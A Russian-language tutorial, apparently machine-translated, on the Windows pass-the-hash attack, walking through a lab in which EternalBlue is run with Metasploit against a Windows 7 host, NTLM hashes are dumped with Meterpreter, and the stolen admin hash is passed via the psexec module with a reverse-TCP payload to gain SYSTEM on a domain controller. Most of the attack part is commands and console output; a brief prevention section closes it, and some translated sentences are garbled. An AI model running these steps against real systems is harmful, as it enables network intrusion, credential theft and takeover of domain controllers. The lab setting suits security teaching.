Пароли в Windows хранятся в виде хэшей, и иногда их бывает сложно взломать. Однако в некоторых ситуациях мы можем обойти это, используя хэш как есть, без необходимости знать открытый пароль. Особенно интересно, если нам удастся получить хэш административного пользователя, поскольку затем мы сможем аутентифицироваться с более высокими привилегиями, выполнив атаку, известную как передача хэша. Сегодня мы научимся как получить доступ к системе в Windows.
Обзора хэша
Чтобы понять технику передачи хеша, нам сначала нужно понять, что составляет хэш. В Windows типичный хэш будет выглядеть примерно так:
admin2:1000:aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7:::
Есть четыре отдельных раздела, разделенных точкой с запятой. Первая часть хэша — это имя пользователя, а вторая часть — числовой относительный идентификатор.
Третья часть — это LM-хэш, тип хэша, который использовался в старых системах Windows и был прекращен, начиная с Vista/Server 2008. Их больше не увидишь, но все же можно встретить в более старых системах. все еще используются. Если вы это сделаете, считайте, что вам повезло, потому что взломать их несложно.
Четвертая часть — это хэш NTLM, обновленная версия, используемая в современных системах Windows, которую гораздо сложнее взломать. Его также иногда называют NTHash, и это то, что мы можем использовать для передачи хэша.
Наша атака работает из-за того, как пароли хранятся, передаются и используются для аутентификации. Подумайте об этом: ваш пароль не передается по сети в открытом виде для всеобщего обозрения — он криптографически хэшируется с момента создания.
При аутентификации с использованием имени пользователя и пароля пароль хэшируется после его ввода. Учитывая все обстоятельства, компьютер не видит разницы между паролем и хэшем в конце. Таким образом, предоставив механизму аутентификации хэш напрямую, мы можем обойти необходимость знать открытый текстовый пароль.
Все становится особенно интересным, потому что, пока мы знаем имя пользователя, мы можем аутентифицироваться как администратор, используя только хэш пароля.
Захват хеша из начальной цели
Первое, что нам нужно сделать, это скомпрометировать первоначальную цель. В этом сценарии мы предполагаем, что это обычная рабочая станция (наша машина с Windows 7). Подойдет любой метод, но пока предположим, что эта машина уязвима для cd EternalBlue.
Мы можем использовать Metasploit, чтобы легко завладеть целью. Сначала запустите его:
~# msfconsole
msf5 >
Затем запустим «eternalblue».модуль Для получения дополнительной информации об этом модуле ознакомьтесь с моим предыдущим руководством по использованию EternalBlue на сервере Windows.
msf5 > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.10.0.1:1234
[*] 10.10.0.104:445 - Connecting to target for exploitation.
[+] 10.10.0.104:445 - Connection established for exploitation.
[+] 10.10.0.104:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.0.104:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.0.104:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.0.104:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.0.104:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.0.104:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.0.104:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.0.104:445 - Sending all but last fragment of exploit packet
[*] 10.10.0.104:445 - Starting non-paged pool grooming
[+] 10.10.0.104:445 - Sending SMBv2 buffers
[+] 10.10.0.104:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.0.104:445 - Sending final SMBv2 buffers.
[*] 10.10.0.104:445 - Sending last fragment of exploit packet!
[*] 10.10.0.104:445 - Receiving response from exploit packet
[+] 10.10.0.104:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.0.104:445 - Sending egg to corrupted connection.
[*] 10.10.0.104:445 - Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to 10.10.0.104
[*] Meterpreter session 1 opened (10.10.0.1:1234 -> 10.10.0.104:49210) at 2019-04-08 10:29:38 -0500
[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter >
В Meterpreter есть полезная команда hashdump, которая выводит все хэши LM или NTLM, присутствующие в системе.
meterpreter > hashdump
admin2:1000:aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Похоже, есть пользователь с именем «admin2», который, вероятно, имеет административные привилегии. Мы можем скопировать хэш и использовать его для подключения к другой машине.
Допустим, в сети есть еще один компьютер, который выглядит как сервер, возможно, контроллер домена (это будет коробка Windows Server 2016). Если бы мы могли получить доступ к этой машине, мы могли бы владеть всей сетью и любым компьютером в домене.
Передача хэша с помощью PsExec
Теперь, когда у нас есть хэш привилегированного пользователя, мы можем использовать его для аутентификации в окне Windows Server 2016, не указывая пароль в виде открытого текста. Мы можем сделать это с помощью модуля psexec Metasploit.
PsExec — это инструмент командной строки в Windows, который позволяет выполнять программы и команды в удаленных системах. Он полезен для администраторов, поскольку интегрируется с консольными приложениями и утилитами для беспрепятственного перенаправления ввода и вывода. Но всегда есть компромисс между удобством и безопасностью. Злоумышленник может использовать PsExec для выполнения вредоносных команд или в качестве бэкдора.
Metasploit содержит модифицированную версию PsExec, упрощающую подключение к удаленным целям. Используйте команду поиска, чтобы найти модуль:
msf5 > search psexec
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
1 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
2 auxiliary/admin/smb/psexec_command normal Yes Microsoft Windows Authenticated Administration Utility
3 auxiliary/admin/smb/psexec_ntdsgrab normal No PsExec NTDS.dit And SYSTEM Hive Download Utility
4 auxiliary/scanner/smb/impacket/dcomexec 2018-03-19 normal Yes DCOM Exec
5 auxiliary/scanner/smb/impacket/wmiexec 2018-03-19 normal Yes WMI Exec
6 auxiliary/scanner/smb/psexec_loggedin_users normal Yes Microsoft Windows Authenticated Logged In Users Enumeration
7 encoder/x86/service manual No Register Service
8 exploit/windows/local/current_user_psexec 1999-01-01 excellent No PsExec via Current User Token
9 exploit/windows/local/wmi 1999-01-01 excellent No Windows Management Instrumentation (WMI) Remote Command Execution
10 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
11 exploit/windows/smb/psexec 1999-01-01 manual No Microsoft Windows Authenticated User Code Execution
12 exploit/windows/smb/psexec_psh 1999-01-01 manual No Microsoft Windows Authenticated Powershell Command Execution
13 exploit/windows/smb/webexec 2018-10-24 manual No WebExec Authenticated User Code Execution
Это старичок, но хороший. Загрузите его с помощью команды use.
msf5 > use exploit/windows/smb/psexec
Теперь мы можем отобразить текущие настройки с помощью команды options.
msf5 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 445 yes The SMB service port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Exploit target:
Id Name
-- ----
0 Automatic
Во-первых, нам нужно установить IP-адрес цели (сервер, на который мы сейчас нацеливаемся):
msf5 exploit(windows/smb/psexec) > set rhosts 10.10.0.100
rhosts => 10.10.0.100
Затем мы можем установить имя пользователя и пароль, используя полученный хэш вместо открытого пароля.
msf5 exploit(windows/smb/psexec) > set smbuser admin2
smbuser => admin2
msf5 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7
smbpass => aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7
Далее устанавливаем полезную нагрузку — мы будем использовать классический реверс TCP Meterpreter.
msf5 exploit(windows/smb/psexec) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
И IP адрес нашей локальной машины и нужный порт.
msf5 exploit(windows/smb/psexec) > set lhost 10.10.0.1
lhost => 10.10.0.1
msf5 exploit(windows/smb/psexec) > set lport 1234
lport => 1234
Остальные параметры по умолчанию пока в порядке, так что все должно быть хорошо. Выключите его с помощью команды запуска.
msf5 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 10.10.0.1:1234
[*] 10.10.0.100:445 - Connecting to the server...
[*] 10.10.0.100:445 - Authenticating to 10.10.0.100:445 as user 'admin2'...
[*] 10.10.0.100:445 - Selecting PowerShell target
[*] 10.10.0.100:445 - Executing the payload...
[*] Sending stage (206403 bytes) to 10.10.0.100
[+] 10.10.0.100:445 - Service start timed out, OK if running a command or non-service executable...
[*] Meterpreter session 2 opened (10.10.0.1:1234 -> 10.10.0.100:49864) at 2019-04-08 10:36:37 -0500
meterpreter >
Теперь у нас есть сеанс Meterpreter. Для подтверждения мы можем ввести такие команды, как getuid и sysinfo, для отображения информации о цели.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : DC01
OS : Windows 2016 (Build 14393).
Architecture : x64
System Language : en_US
Domain : DLAB
Logged On Users : 4
Meterpreter : x64/windows
Довольно аккуратно. Нам даже не нужен был пароль — только хеш — для доступа к серверу. Теперь мы владеем этой системой.
Профилактика
Как правило, довольно сложно защититься от атаки с передачей хэша, потому что в конечном итоге она выглядит как стандартная аутентификация. Лучше всего внедрить подход глубокой защиты, чтобы смягчить потенциальный ущерб.
Сведение привилегий к минимуму сведет на нет ущерб, который может нанести злоумышленник, если он первоначально закрепится в сети. Также следует использовать другие стандартные методы защиты, такие как использование брандмауэра и IDS/IPS для отслеживания и предотвращения любых вредоносных действий.
Windows также может быть настроена не кэшировать учетные данные, что помешает злоумышленникам собирать хэши, хранящиеся в памяти. Также могут быть предприняты дополнительные шаги, чтобы изолировать чувствительные системы в сети, чтобы ограничить возможности злоумышленника.
Заключение
В этом руководстве мы узнали о хэшах Windows, о том, как они используются при аутентификации и как ими можно злоупотреблять для выполнения атаки с передачей хэша. После того, как мы скомпрометировали низкоуровневую цель, мы сбросили хэши и нашли учетную запись администратора. Оттуда мы использовали Metasploit для передачи хэша и в конечном итоге получили доступ к системе на сервере.